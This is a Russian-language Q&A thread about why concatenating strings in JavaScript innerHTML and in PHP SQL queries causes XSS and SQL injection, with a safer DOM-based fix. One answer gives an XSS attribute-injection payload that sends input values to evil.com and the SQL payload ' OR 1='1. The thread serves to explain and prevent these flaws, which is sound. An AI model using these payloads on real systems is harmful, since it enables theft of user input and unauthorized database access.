Почему / как конкатенация вызывает уязвимости XSS или SQL-инъекций? - PullRequest
3 голосов
/ 05 декабря 2011

Недавно мне сказали (здесь), что конкатенация вашего Javascript вызовет уязвимости XSS. Я провел свое исследование здесь и в Google, чтобы выяснить, почему это плохо, но я не вижу его.

Часть 1 - Javascript: Видимо, что-то вроде этого небезопасно. Зачем? Как вы должны сделать это вместо этого?

// part of a script dynamically making table rows
var el = document.createElement('div');
el.innerHTML = '<input type="text"  id="myId'+id+'"  />';
cellOne.appendChild(el);

Часть 2 - MySQL: Мне сказали, что когда вы объединяете SQL, это подвергает вас SQL-инъекциям. Я не уверен, что именно они подразумевали под concat SQL. Я предполагаю, что они не говорили о SQL-функции concat. Я предполагаю, что они имели в виду:

$sql = " SELECT `col` FROM `table` WHERE `col` = '".$myFilteredVariable."' ";

Или, может быть?

$sql = " SELECT `col` FROM `table` WHERE `col` = '".$myFilteredVariable."' ";
     $sql .= " AND `col2` = '".$myvar.'";

Это подвергает вас SQL-инъекции?

Часть SQL является академической. Я использую PDO для предотвращения внедрения SQL.

Ответы [ 3 ]

3 голосов
/ 05 декабря 2011

часть 1

Это может быть, если id поступает от пользовательского ввода, который сохраняется на странице.

Переменная id может содержать ...

" onchange="(new Image).src='http://evil.com/user-input=' + this.value;" bla="

Часть 2

Если эти переменные не экранированы с использованием правильного механизма, существует уязвимость.

Переменная $myvar может содержать ...

' OR 1='1
2 голосов
/ 05 декабря 2011

Как бы вы сделали это вместо:

var el = document.createElement('div');
var input = document.createElement("input");
input.type = 'text';
input.id = 'myId' + id;
el.appendChild(input);
cellOne.appendChild(el);

Обратите внимание, что это безопаснее, потому что .id не может ввести произвольный html

Для получения дополнительной информации о векторах атаки XSS я рекомендую прочитать OWASP xss article

0 голосов
/ 05 декабря 2011

Это вопрос объединения, а не вопрос внедрения xss или sql.

Ничего плохого в самой конкатенации. Это довольно безопасная операция.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...